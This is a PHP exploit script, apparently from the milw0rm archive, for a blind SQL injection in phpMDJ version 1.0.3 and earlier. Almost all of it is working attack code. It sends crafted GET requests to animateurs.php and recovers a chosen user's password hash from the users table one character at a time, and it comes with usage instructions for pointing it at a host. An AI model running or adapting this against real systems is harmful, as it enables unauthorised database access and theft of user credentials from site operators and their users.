--+++=========================================================+++--
--+++====== phpMDJ <= 1.0.3 Blind SQL Injection Exploit ======+++--
--+++=========================================================+++--
<?php
function query ($usr, $chr, $pos)
{
$query = "x' OR ASCII(SUBSTRING((SELECT mdp FROM phpmdj_users WHERE pseudo = '{$usr}'),{$pos},1))={$chr} OR '1' = '2";
$query = str_replace (" ", "%20", $query);
$query = str_replace ("'", "%27", $query);
return $query;
}
function exploit ($hostname, $path, $usr, $chr, $pos)
{
$chr = ord ($chr);
$fp = fsockopen ($hostname, 80);
$query = query ($usr, $chr, $pos);
$request = "GET {$path}/animateurs.php?id_animateur={$query} HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n\r\n";
fputs ($fp, $request);
while (!feof ($fp))
$reply .= fgets ($fp, 1024);
fclose ($fp);
preg_match ("/Les animateurs<\/a> :(.+)<\/h2>/", $reply, $x);
if (strlen (trim ($x [1])) == 0)
return false;
else
return true;
}
function usage ()
{
echo
"\n[+] phpMDJ <= 1.0.3 Blind SQL Injection Exploit".
"\n[+] Author: darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Usage : php xpl.php <hostname> <path> <username>".
"\n[+] Ex. : php xpl.php localhost /phpMDJ admin".
"\n\n";
exit ();
}
if ($argc != 4)
usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;
echo "[+] Password: ";
while ($pos <= 32)
{
if (exploit ($hostname, $path, $user, $key [$chr], $pos))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}
echo "\n\n";
# milw0rm.com [2009-01-11]